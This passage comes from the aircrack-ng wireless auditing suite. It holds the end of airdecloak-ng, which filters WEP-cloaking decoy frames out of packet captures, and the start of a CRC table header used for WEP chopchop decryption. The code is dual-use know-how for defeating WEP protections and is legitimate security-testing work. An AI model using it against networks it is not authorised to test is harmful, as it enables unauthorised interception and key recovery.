(_packet_elt_head->current->toDS == 0) { if (next_packet_pointer() == false) { return false; } } if (_packet_elt_head->current->toDS == 1) { return true; } else { return false; } } BOOLEAN next_packet_pointer() { BOOLEAN success = false; // Go to next packet if not the last one if (_packet_elt_head->current != _packet_elt_head->last) { _packet_elt_head->current = _packet_elt_head->current->next; success = true; } return success; } BOOLEAN prev_packet_pointer() { BOOLEAN success = false; // Go to next packet if not the last one if (_packet_elt_head->current != _packet_elt_head->first) { _packet_elt_head->current = _packet_elt_head->current->prev; success = true; } return success; } int compare_SN_to_current_packet(struct packet_elt * packet) { if (_packet_elt_head->current->sequence_number > packet->sequence_number) { // Current packet SN is superior to packet SN return 1; } else if (_packet_elt_head->current->sequence_number < packet->sequence_number) { // Current packet SN is inferior to packet SN return -1; } // Identical return 0; } BOOLEAN current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; if (_packet_elt_head->current->fromDS == packet->fromDS && _packet_elt_head->current->toDS == packet->toDS) { if (packet->fromDS == 1 && packet->toDS ==0) { // Coming from the AP, no other check needed // (BSSID check already done when creating this list) success = true; } else { // Also check MAC source if (maccmp(packet->source, _packet_elt_head->current->source) == 0) { success = true; } } } else if (packet->fromDS == 0 && packet->toDS == 0) { // Beacons (and some other packets) coming from the AP (both from and toDS are 0). if (_packet_elt_head->current->fromDS == 1 && _packet_elt_head->current->toDS == 0) { success = true; } } return success; } BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; while (success == false && prev_packet_pointer()) { success = current_packet_pointer_same_fromToDS_and_source(packet); } return success; } BOOLEAN next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; // !!! Now we only have the packets from the BSSID. while (success == 0 && next_packet_pointer()) { success = current_packet_pointer_same_fromToDS_and_source(packet); } return success; } BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current() { return prev_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current); } BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current() { return next_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current); } int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked() { // This filtered 1148 packets on a 300-350K capture (~150K were cloaked) // Filtering was done correctly, all packets marked as cloaked were really cloaked). struct packet_elt * current_packet; int how_far, nb_marked; puts("Cloaking - Marking all duplicate SN cloaked if frame is valid or uncloaked"); // Start from the begining (useful comment) reset_current_packet_pointer(); nb_marked = 0; do { // We should first check for each VALID_FRAME_UNCLOAKED or CLOAKED_FRAME packet // PACKET_CHECKING_LENGTH packets later (ONLY NEXT PACKETS) // and if one of the packet has an identical SN, mark it as CLOAKED if (_packet_elt_head->current->is_cloaked != VALID_FRAME_UNCLOAKED && _packet_elt_head->current->is_cloaked != CLOAKED_FRAME) { // Go to next packet if frame is not valid continue; } current_packet = _packet_elt_head->current; //printf("Trying current packet: %d,%d (SN: %d)\n", current_packet->fromDS, current_packet->toDS, current_packet->sequence_number); //print_packet(_packet_elt_head->current); how_far = 0; while (++how_far <= PACKET_CHECKING_LENGTH && next_packet_pointer_same_fromToDS_and_source(current_packet) == true ) { switch (_packet_elt_head->current->is_cloaked) { case VALID_FRAME_UNCLOAKED: case CLOAKED_FRAME: // Status known, so go to next frame break; case POTENTIALLY_CLOAKED_FRAME: //puts("CFC_with_valid_packets_mark_others_cloaked() - Invalid frame status found: POTENTIALLY_CLOAKED_FRAME"); break; // Should never happen here case UKNOWN_FRAME_CLOAKING_STATUS: //printf("Found unknown cloaking status frame, checking it - tested: %d,%d (SN: %d)\n", // _packet_elt_head->current->fromDS, _packet_elt_head->current->toDS, _packet_elt_head->current->sequence_number); if (compare_SN_to_current_packet(current_packet) == 0) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_marked; } break; } } // Go back to the current packet _packet_elt_head->current = current_packet; } while (next_packet_pointer() == 1); // Reset packet pointer so that next usages of current packet // will start from the begining (in case it's forgotten). reset_current_packet_pointer(); printf("%d frames marked\n", nb_marked); return nb_marked; } int CFC_filter_duplicate_sn_ap() { int nb_packets = 0; puts("Cloaking - Removing the duplicate SN for the AP"); reset_current_packet_pointer(); return nb_packets; } int CFC_filter_duplicate_sn_client() { int nb_packets = 0; puts("Cloaking - Removing the duplicate SN for the client"); reset_current_packet_pointer(); return nb_packets; } int CFC_filter_duplicate_sn() { // This will remove a lot of legitimate packets unfortunatly return CFC_filter_duplicate_sn_ap() + CFC_filter_duplicate_sn_client(); } int get_average_signal_ap() { long all_signals; long nb_packet_used; int average_signal; // Init all_signals = nb_packet_used = 0; average_signal = -1; // Check if signal quality is included if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER || _pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { if (reset_current_packet_pointer_to_ap_packet() == true) { // Calculate signal for all beacons and probe response (and count number of packets). do { if (_packet_elt_head->current->version_type_subtype == BEACON_FRAME || _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE) { ++nb_packet_used; all_signals += _packet_elt_head->current->signal_quality; } } while (next_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current) == true); // Calculate the average if (nb_packet_used > 0) { average_signal = (int)(all_signals / nb_packet_used); if ( ((all_signals/ (double)nb_packet_used) - average_signal) * 100 > 50) { ++average_signal; } } printf("Average signal for AP packets: %d\n", average_signal); } else { puts("Average signal: No packets coming from the AP, cannot calculate it"); } } else { puts("Average signal cannot be calculated because headers does not include it"); } // Return return average_signal; } /** * Filter packets based on signal. * * Use signal from all beacons, make an average * This will allow to find out what packet are legitimate (coming from the AP) and thus removing cloaked packets * By being able to remove cloaked packets, we'll find out the signal of the sensor(s) * //and we'll be able to filter out the cloaked packets of clients. * * Enh: use signal from packets marked uncloaked instead of beacons. * * @return Number of frames marked cloaked. */ int CFC_filter_signal() { // Maximum variation of the signal for unknown status frame and potentially cloaked frames (up & down) #define MAX_SIGNAL_VARIATION 3 #define MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED 2 int average_signal; int nb_packets = 0; puts("Cloaking - Signal filtering"); // 1. Get the average signal average_signal = get_average_signal_ap(); if (average_signal > 0) { reset_current_packet_pointer_to_ap_packet(); // Will be successful because signal > 0 do { switch (_packet_elt_head->current->is_cloaked) { case POTENTIALLY_CLOAKED_FRAME: // Max allowed variation for potentially cloaked packet is a bit lower // than the normal variation if (abs(_packet_elt_head->current->signal_quality - average_signal) > MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; break; } case UKNOWN_FRAME_CLOAKING_STATUS: // If variation is > max allowed variation, it's a cloaked packet if (abs(_packet_elt_head->current->signal_quality - average_signal) > MAX_SIGNAL_VARIATION) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; break; } if (_packet_elt_head->current->signal_quality - average_signal == 0) { // If there's no variation, I'm sure it's not a cloaked packet _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } else { // We could play with POTENTIALLY_CLOAKED frame depending on the variation // but currently, it's unloacked if inferior to the max allowed signal _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } break; case VALID_FRAME_UNCLOAKED: break; case CLOAKED_FRAME: break; default: break; } } while (next_packet_pointer_same_fromToDS_and_source_as_current() == true); } // TODO: Do it also for clients: Calculate the average for know cloaked frames // (each frame marked cloaked here) and then filter out wep cloaked frames. // or implement it as another filter (since clients may have the same signal // as the sensor). // Return return nb_packets; } int CFC_filter_consecutive_sn() { int nb_packets = 0; puts("Cloaking - Consecutive SN filtering"); nb_packets = CFC_filter_consecutive_sn_ap() + CFC_filter_consecutive_sn_client(); return nb_packets; } int CFC_filter_consecutive_sn_ap() { int nb_packets = 0; BOOLEAN next_packet_result = false; puts("Cloaking - Consecutive SN filtering (AP)"); // Filtering for the client is not easy at all, maybe we can base on the fact that wep cloaking clone everything in the packet // except the data (and ofc the SN). // So, atm filtering for the AP only (hoping the client is not uploading data ;)) reset_current_packet_pointer_to_ap_packet(); // Go to the first beacon or probe response. while ( !(_packet_elt_head->current->version_type_subtype == BEACON_FRAME || _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE) ) { next_packet_result = next_packet_pointer_same_fromToDS_and_source_as_current(); // Check if we didn't reach end of capture. if (next_packet_result == false) { break; } } // If end of capture, no packets have been filters. if (next_packet_result == false) { return 0; } puts("NYI"); return nb_packets; } int CFC_filter_consecutive_sn_client() { int nb_packets = 0; puts("Cloaking - Consecutive SN filtering (Client)"); // For consecutive SN of the client, if packets are cloaked, we can rely on null frames or probe request/association request. reset_current_packet_pointer_to_client_packet(); // while puts("Not yet implemented"); return nb_packets; } int CFC_filter_duplicate_iv() { unsigned char * ivs_table; int nb_packets = 0; puts("Cloaking - Duplicate IV filtering"); ivs_table = (unsigned char *) calloc(16777215, 1); if (ivs_table == NULL) { puts("Failed to allocate memory for IVs table, exiting"); exit(-1); } // 1. Get the list of all IV values (and number of duplicates reset_current_packet_pointer(); do { if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { // In the array, there's as much elements as the number of possible IVs // For each IV, increase by 1 the value of the IV position so that we can // know if it was used AND the number of occurences. *(ivs_table + get_iv(_packet_elt_head->current)) += 1; } } while (next_packet_pointer() == true); // 2. Remove duplicates reset_current_packet_pointer(); do { if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { switch (_packet_elt_head->current->is_cloaked) { case POTENTIALLY_CLOAKED_FRAME: // If the frame is potentially cloaked, mark it as cloaked if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; } case UKNOWN_FRAME_CLOAKING_STATUS: // If unknown status, mark it as potentially cloaked if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1) { _packet_elt_head->current->is_cloaked = POTENTIALLY_CLOAKED_FRAME; } break; case VALID_FRAME_UNCLOAKED: break; case CLOAKED_FRAME: break; default: break; } } } while (next_packet_pointer() == true); free(ivs_table); return nb_packets; } char * status_format(int status) { size_t len = 19; char * ret = (char *) calloc(1, (len + 1) * sizeof(char)); switch (status) { case VALID_FRAME_UNCLOAKED: strncpy(ret, "uncloacked", len); break; case CLOAKED_FRAME: strncpy(ret, "cloaked", len); break; case POTENTIALLY_CLOAKED_FRAME: strncpy(ret, "potentially cloaked", len); break; case UKNOWN_FRAME_CLOAKING_STATUS: strncpy(ret, "unknown cloaking", len); break; default: snprintf(ret, len + 1,"type %d", status); break; } ret = (char *)realloc(ret, strlen(ret) +1); return ret; } int CFC_mark_all_frames_with_status_to(int original_status, int new_status) { int nb_marked = 0; char * from, *to; from = status_format(original_status); to = status_format(new_status); printf("Cloaking - Marking all %s status frames as %s\n", from, to); free(from); free(to); reset_current_packet_pointer(); do { if (_packet_elt_head->current->is_cloaked == original_status) { _packet_elt_head->current->is_cloaked = new_status; ++nb_marked; } } while (next_packet_pointer() == 1); printf("%d frames marked\n", nb_marked); return nb_marked; } int CFC_filter_signal_duplicate_and_consecutive_sn() { int nb_marked = 0; // This filter does not call all other filters but does a lot of checks // and depending on these check decide if a packet is cloaked or not puts("Cloaking - Filtering all packet with signal, duplicate and consecutive SN filters"); puts("Not yet implemented"); return nb_marked; } // When checking do it on packet with the same direction (ToFroDS: 10 or 01) // WDS/Ad hoc not implemented yet /** * Check for cloaking and mark the status all packets (Cloaked or uncloaked). */ BOOLEAN check_for_cloaking() { int cur_filter; int cur_filters = _filters; puts("Cloaking - Start check"); // Parse all packets, then for each packet marked valid (or cloaked), check forward if any packet has // an unknown status and same SN. If it's the case, mark the current packet CLOAKED if (_options_disable_base_filter == 0) { //CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(); CFC_base_filter(); } // Apply all filter requested by the user in the requested order // but do not forget to warn when there's no filter given. while (cur_filters != 0) { cur_filter = cur_filters % 10; cur_filters /= 10; switch (cur_filter) { case FILTER_SIGNAL: CFC_filter_signal(); break; case FILTER_DUPLICATE_SN: CFC_filter_duplicate_sn(); break; case FILTER_DUPLICATE_SN_AP: CFC_filter_duplicate_sn_ap(); break; case FILTER_DUPLICATE_SN_CLIENT: CFC_filter_duplicate_sn_client(); break; case FILTER_CONSECUTIVE_SN: CFC_filter_consecutive_sn(); break; case FILTER_DUPLICATE_IV: CFC_filter_duplicate_iv(); break; case FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN: CFC_filter_signal_duplicate_and_consecutive_sn(); break; case 0: puts("0 is not a valid filter number"); exit(1); default: printf("Filter %d not yet implemented\n", cur_filter); exit(1); } } // Marking of all unknown status packets uncloaked (MUST BE AT THE END) CFC_mark_all_frames_with_status_to(UKNOWN_FRAME_CLOAKING_STATUS, VALID_FRAME_UNCLOAKED); // ... and the potentially cloaked cloaked CFC_mark_all_frames_with_status_to(POTENTIALLY_CLOAKED_FRAME, CLOAKED_FRAME); return true; } // Return 1 on success BOOLEAN write_packets() { // Open files ... FILE * invalid_status_file = init_new_pcap("invalid_status.pcap"); _output_cloaked_packets_file = init_new_pcap(_filename_output_cloaked); _output_clean_capture_file = init_new_pcap(_filename_output_filtered); // ... and make sure opening was ok ... if (_output_clean_capture_file == NULL) { printf("FATAL ERROR: Failed to open pcap for filtered packets\n"); if (_output_cloaked_packets_file != NULL) { fclose(_output_cloaked_packets_file); } return false; } // ... for both. if (_output_cloaked_packets_file == NULL) { printf("FATAL ERROR: Failed to open pcap for cloaked packets\n"); fclose(_output_clean_capture_file); return false; } puts("Writing packets to files"); reset_current_packet_pointer(); do { switch (_packet_elt_head->current->is_cloaked) { case CLOAKED_FRAME: write_packet(_output_cloaked_packets_file, _packet_elt_head->current); break; case VALID_FRAME_UNCLOAKED: if (_packet_elt_head->current->is_dropped == 0) { write_packet(_output_clean_capture_file, _packet_elt_head->current); } break; default: // Write them somewhere else write_packet(invalid_status_file, _packet_elt_head->current); printf("Error: Invalid packet cloaking status: %d\n", _packet_elt_head->current->is_cloaked); break; } } while (next_packet_pointer() == true); puts("End writing packets to files"); // Close files fclose(_output_cloaked_packets_file); fclose(_output_clean_capture_file); fclose(invalid_status_file); return true; } // Return 1 on success BOOLEAN print_statistics() { return true; } void usage() { printf("\n" " %s - (C) 2008-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airdecloak-ng [options]\n" "\n" " options:\n" "\n" " Mandatory:\n" " -i : Input capture file\n" " --ssid : ESSID of the network to filter\n" " or\n" " --bssid : BSSID of the network to filter\n" "\n" " Optional:\n" " --filters : Apply filters (separated by a comma). Filters:\n" " signal: Try to filter based on signal.\n" " duplicate_sn: Remove all duplicate sequence numbers\n" " for both the AP and the client.\n" " duplicate_sn_ap: Remove duplicate sequence number for\n" " the AP only.\n" " duplicate_sn_client: Remove duplicate sequence number for the\n" " client only.\n" " consecutive_sn: Filter based on the fact that IV should\n" " be consecutive (only for AP).\n" " duplicate_iv: Remove all duplicate IV.\n" " signal_dup_consec_sn: Use signal (if available), duplicate and\n" " consecutive sequence number (filtering is\n" " much more precise than using all these\n" " filters one by one).\n" " --null-packets : Assume that null packets can be cloaked.\n" " --disable-base_filter : Do not apply base filter.\n" //" --disable-retry : Disable retry check, don't care about retry bit.\n" " --drop-frag : Drop fragmented packets\n" "\n" " --help : Displays this usage screen\n" "\n", getVersion("Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } int main( int argc, char *argv[] ) { int temp, option; BOOLEAN tempBool; char * input_filename; char * input_bssid; char * filter_name; // Initialize input_bssid = NULL; input_filename = NULL; _is_wep = -1; _output_cloaked_packets_file = NULL; _output_clean_capture_file = NULL; _input_file = NULL; memset(_bssid, 0, 6); _filters = 0; // Parse options while( 1 ) { int option_index = 0; static struct option long_options[] = { {"essid", 1, 0, 'e'}, {"ssid", 1, 0, 'e'}, {"bssid", 1, 0, 'b'}, {"help", 0, 0, 'h'}, {"filter", 1, 0, 'f'}, {"filters", 1, 0, 'f'}, {"null-packets", 0, 0, 'n'}, {"null-packet", 0, 0, 'n'}, {"null_packets", 0, 0, 'n'}, {"null_packet", 0, 0, 'n'}, {"no-base-filter", 0, 0, 'a'}, {"disable-base-filter", 0, 0, 'a'}, //{"disable-retry", 0, 0, 'r'}, {"drop-frag", 0, 0, 'd'}, {"input", 1, 0, 'i'}, {0, 0, 0, 0 } }; //option = getopt_long( argc, argv, "e:b:hf:nbrdi:", option = getopt_long( argc, argv, "e:b:hf:nbdi:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'a': _options_disable_base_filter = 1; break; case 'i': input_filename = optarg; break; case 'b': if (getmac(optarg, 1, _bssid)) { puts("Failed to parse MAC address"); exit(1); } input_bssid = optarg; // make sure it was converted successfully break; case 'f': // Filters filter_name = strtok(optarg, ","); temp = 1; while (filter_name != NULL) { if (strcmp(filter_name, "signal") == 0 || atoi(filter_name) == FILTER_SIGNAL) { _filters = _filters + (FILTER_SIGNAL * temp); } else if (strcmp(filter_name, "duplicate_sn") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN) { _filters = _filters + (FILTER_DUPLICATE_SN * temp); } else if (strcmp(filter_name, "duplicate_sn_ap") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN_AP) { _filters = _filters + (FILTER_DUPLICATE_SN_AP * temp); } else if (strcmp(filter_name, "duplicate_sn_client") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN_CLIENT) { _filters = _filters + (FILTER_DUPLICATE_SN_CLIENT * temp); } else if (strcmp(filter_name, "consecutive_sn") == 0 || atoi(filter_name) == FILTER_CONSECUTIVE_SN) { _filters = _filters + (FILTER_CONSECUTIVE_SN * temp); } else if (strcmp(filter_name, "duplicate_iv") == 0 || atoi(filter_name) == FILTER_DUPLICATE_IV) { _filters = _filters + (FILTER_DUPLICATE_IV * temp); } else if (strcmp(filter_name, "signal_dup_consec_sn") == 0 || atoi(filter_name) == FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN) { _filters = _filters + (FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN * temp); } else { usage(); puts("Invalid filter name"); exit(1); } temp *= 10; filter_name = strtok(NULL, ","); } break; case 'd': _options_drop_fragments = 1; break; case 'n': _options_assume_null_packets_uncloaked = 1; break; case 'r': _options_disable_retry = 1; case 'e': printf("'%c' option not yet implemented\n", option); exit(0); break; case 'h': usage(); exit(0); break; } } if (input_filename == NULL) { usage(); puts("Missing input file"); exit(1); } // Add options (some are mandatory, some are optional). /* Mandatory: -i file: input file --ssid ESSID (or --essid or --ssid) or -b BSSID (or --bssid or --ap) Optional: -f (--filters/--filter) Available filters: * signal: Tries to filter based on the signal (AP never/is not supposed to moves thus ...) * duplicate_sn: remove all duplicate SN * duplicate_sn_ap/duplicate_sn_client: remove all duplicate SN from the AP/Client * consecutive_sn: filter based on the fact that IV should be consecutive (only for AP). Several filters can be used and you can choose the order of application of these filters (that will impact the results). --null-packets: Do not assume that null packets are not cloaked. --no-base_filter: do not apply base filter. --disable-retry: disable retry check, don't care about retry bit. --drop-frag: Drop fragmented packets */ printf("Input file: %s\n", input_filename); printf("BSSID: %s\n", input_bssid); puts(""); // Open capture file puts("Opening file"); _input_file = open_existing_pcap(input_filename); if (_input_file == NULL) { return 1; } // Create output filenames temp = strlen( input_filename ); _filename_output_cloaked = (char *) calloc(temp + 9 + 5, 1); _filename_output_filtered = (char *) calloc(temp + 10 + 5, 1); while (--temp > 0) { if (input_filename[temp] == '.') break; } // No extension if (temp == 0) { snprintf(_filename_output_cloaked, strlen( input_filename ) + 9 + 5, "%s-cloaked.pcap", input_filename); snprintf(_filename_output_filtered, strlen( input_filename ) + 10 + 5, "%s-filtered.pcap", input_filename); } else { strncpy(_filename_output_cloaked, input_filename, strlen( input_filename ) + 9 + 5 - 1); strncpy(_filename_output_filtered, input_filename, strlen( input_filename ) + 10 + 5 - 1); strncat(_filename_output_cloaked, "-cloaked.pcap", 14); strncat(_filename_output_filtered, "-filtered.pcap", 15); } printf("Output packets (valids) filename: %s\n", _filename_output_filtered); printf("Output packets (cloaked) filename: %s\n", _filename_output_cloaked); // 1. Read all packets and put the following in a linked list: // Data and management packets only (filter out control packets) // Packets where BSSID is the address given in parameter // When we find a beacon, make sure the network is WEP puts("Reading packets from file"); tempBool = read_packets(); fclose(_input_file); if (tempBool != true) { printf("Failed reading packets: %d\n", temp); return 1; } // 2. Go thru the list and mark all cloaked packets puts("Checking for cloaked frames"); tempBool = check_for_cloaking(); if (tempBool != true) { printf("Checking for cloaking failed: %d\n", temp); return 1; } // 3. Write all data to output files // Write packets puts("Writing packets to files"); tempBool = write_packets(); if (tempBool != true) { printf("Writing packets failed: %d\n", temp); return 1; } // 4. Print some statistics // - Is the network using WEP? // - WEP cloaking in action? // - Clients MACs // - Number of data packets for the BSSID // Number of good packets kept // Number of cloaked packets removed // - File names print_statistics(); return 0; } aircrack-ng-1.2-beta3/src/crctable.h0000644000000000000000000002343510761053203015752 0ustar rootroot#ifndef _CRCTABLE_H #define _CRCTABLE_H const unsigned long int crc_tbl[256] = { 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D }; const unsigned char crc_chop_tbl[256][4] = { { 0x26,0x70,0x6A,0x0F }, { 0x67,0x76,0x1B,0xD4 }, { 0xE5,0x7A,0xF9,0x62 }, { 0xA4,0x7C,0x88,0xB9 }, { 0xA0,0x65,0x4C,0xD4 }, { 0xE1,0x63,0x3D,0x0F }, { 0x63,0x6F,0xDF,0xB9 }, { 0x22,0x69,0xAE,0x62 }, { 0x6B,0x5D,0x57,0x62 }, { 0x2A,0x5B,0x26,0xB9 }, { 0xA8,0x57,0xC4,0x0F }, { 0xE9,0x51,0xB5,0xD4 }, { 0xED,0x48,0x71,0xB9 }, { 0xAC,0x4E,0x00,0x62 }, { 0x2E,0x42,0xE2,0xD4 }, { 0x6F,0x44,0x93,0x0F }, { 0xBC,0x2A,0x10,0xD5 }, { 0xFD,0x2C,0x61,0x0E }, { 0x7F,0x20,0x83,0xB8 }, { 0x3E,0x26,0xF2,0x63 }, { 0x3A,0x3F,0x36,0x0E }, { 0x7B,0x39,0x47,0xD5 }, { 0xF9,0x35,0xA5,0x63 }, { 0xB8,0x33,0xD4,0xB8 }, { 0xF1,0x07,0x2D,0xB8 }, { 0xB0,0x01,0x5C,0x63 }, { 0x32,0x0D,0xBE,0xD5 }, { 0x73,0x0B,0xCF,0x0E }, { 0x77,0x12,0x0B,0x63 }, { 0x36,0x14,0x7A,0xB8 }, { 0xB4,0x18,0x98,0x0E }, { 0xF5,0x1E,0xE9,0xD5 }, { 0x53,0xC3,0xEF,0x60 }, { 0x12,0xC5,0x9E,0xBB }, { 0x90,0xC9,0x7C,0x0D }, { 0xD1,0xCF,0x0D,0xD6 }, { 0xD5,0xD6,0xC9,0xBB }, { 0x94,0xD0,0xB8,0x60 }, { 0x16,0xDC,0x5A,0xD6 }, { 0x57,0xDA,0x2B,0x0D }, { 0x1E,0xEE,0xD2,0x0D }, { 0x5F,0xE8,0xA3,0xD6 }, { 0xDD,0xE4,0x41,0x60 }, { 0x9C,0xE2,0x30,0xBB }, { 0x98,0xFB,0xF4,0xD6 }, { 0xD9,0xFD,0x85,0x0D }, { 0x5B,0xF1,0x67,0xBB }, { 0x1A,0xF7,0x16,0x60 }, { 0xC9,0x99,0x95,0xBA }, { 0x88,0x9F,0xE4,0x61 }, { 0x0A,0x93,0x06,0xD7 }, { 0x4B,0x95,0x77,0x0C }, { 0x4F,0x8C,0xB3,0x61 }, { 0x0E,0x8A,0xC2,0xBA }, { 0x8C,0x86,0x20,0x0C }, { 0xCD,0x80,0x51,0xD7 }, { 0x84,0xB4,0xA8,0xD7 }, { 0xC5,0xB2,0xD9,0x0C }, { 0x47,0xBE,0x3B,0xBA }, { 0x06,0xB8,0x4A,0x61 }, { 0x02,0xA1,0x8E,0x0C }, { 0x43,0xA7,0xFF,0xD7 }, { 0xC1,0xAB,0x1D,0x61 }, { 0x80,0xAD,0x6C,0xBA }, { 0xCC,0x16,0x61,0xD0 }, { 0x8D,0x10,0x10,0x0B }, { 0x0F,0x1C,0xF2,0xBD }, { 0x4E,0x1A,0x83,0x66 }, { 0x4A,0x03,0x47,0x0B }, { 0x0B,0x05,0x36,0xD0 }, { 0x89,0x09,0xD4,0x66 }, { 0xC8,0x0F,0xA5,0xBD }, { 0x81,0x3B,0x5C,0xBD }, { 0xC0,0x3D,0x2D,0x66 }, { 0x42,0x31,0xCF,0xD0 }, { 0x03,0x37,0xBE,0x0B }, { 0x07,0x2E,0x7A,0x66 }, { 